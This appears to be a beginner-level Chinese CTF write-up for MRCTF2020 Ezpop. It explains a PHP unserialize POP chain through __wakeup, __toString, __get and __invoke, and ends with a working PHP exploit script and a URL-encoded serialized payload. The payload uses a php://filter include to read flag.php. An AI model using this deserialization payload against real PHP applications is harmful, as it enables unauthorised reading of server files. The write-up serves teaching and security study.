[MRCTF2020]Ezpop 1 (小白能看懂)

题目给出的php代码这里不直接展示完,将屏幕分为两部分对照学习更直接,在代码里面的注释也写了很多函数的作用

看重要的地方,关键代码

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

可以这样理解有没有传入名为pop的参数,如果i没有则创建一个Show类的对象$a,highlight_file()用于显示指定文件的源代码,_FILE_表达的是当前文件。

接下来分析第一段代码:

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
 // include() 简单来说就是读取指定的文件,并在调用的地方插入其内容并执行其中的php代码
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

这里提到了_invoke()魔术方法,记一下,当你调用一个对象时,_invoke()方法会被自动调用

举个例子(并讲解如何使用append方法得到flag.php):

// 创建 Modifier 类的实例
$modifier = new Modifier();

// 设置 var 属性为你希望包含的文件路径
$modifier->var = 'flag.php';  // 假设这个文件存在,并且是有效的 PHP 文件

// 通过调用对象来触发 __invoke() 方法,从而调用 include()
$modifier();  // 实际上会执行 $modifier->__invoke()
              //而_invode()会触发 $this->append($this->var);从而间接使用append()

接着看下一段代码

class Show{
    public $source;
    public $str;
    // __construct当一个对象创建时自动调用,基本上是必定触发的
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    // _wakeup() 主要用于在对象反序列化时恢复其状态,简单点说就是当一个对象通过unserialize()
    // 被反序列化时,_wakeup()方法会被自动调用
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

来理解一下_construce()和to_String()

class MyClass {
    public $name;

    public function __construct($name) {
        $this->name = $name;
        echo "Object created with $name\n";
    }

    // 定义 __toString() 方法
    public function __toString() {
        return "Hello, my name is " . $this->name;
    }
}

$obj = new MyClass("John");
// 这里创建了$obj对象时自动调用__construct(),输出Object created with John
echo $obj;  // 这会自动调用 __toString() 方法
// 输入 Hello,my name is John

继续查看下一个代码:

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    // 当你访问一个对象的不存在或不可访问的属性时,PHP 会自动调用 __get() 方法。
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

接下来开始推力,当我们传入一个序列化进去,会自动执行_wakeup()函数,它将属性source传入正则匹配函数preg_match(),所以这里source被当作字符串处理。上面有一个_toString():如果对象被当作一个字符串输出时自动调用,它会调用show类中的str属性的属性source,而Test类里有个_get()函数,当对象访问一个不存在的属性时调用,那么假设(this->str)没有source就会调用_get()我们需要找一个没有source的类,而刚好Test类没有,就让(this->str)成为Test的对象,从而使用_get()方法,如果我们将Modifier的对象(p=Modifier的对象)进行构造,那么将会触发_invoke()函数,从而使用append(),include()不会返回值,只有将文件内容读取出来用到伪协议php://filter/convert.base64-encode/resource=flag.php

开始实操

<?php
class Modifier{
    protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$a->source = new Show(); //这里就把$a->source看成一个整体
$a->source->str = new Test(); //这里简单理解就是将show下面的str设置成Test对象,而test类没有source,所以会调用_get();
// 下面就将p = new Modifier();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));

得到O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

最后?pop=上面的序列化就可以得到flag.php文件的base64的类容,将内容解码就能得到flag了

借鉴了大佬的文章:

buuctf-[MRCTF2020]Ezpop)(小宇特详解)-CSDN博客

BUUCTF闯关日记--[MRCTF2020]Ezpop1_[mrctf2020]ezpop 1-CSDN博客

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值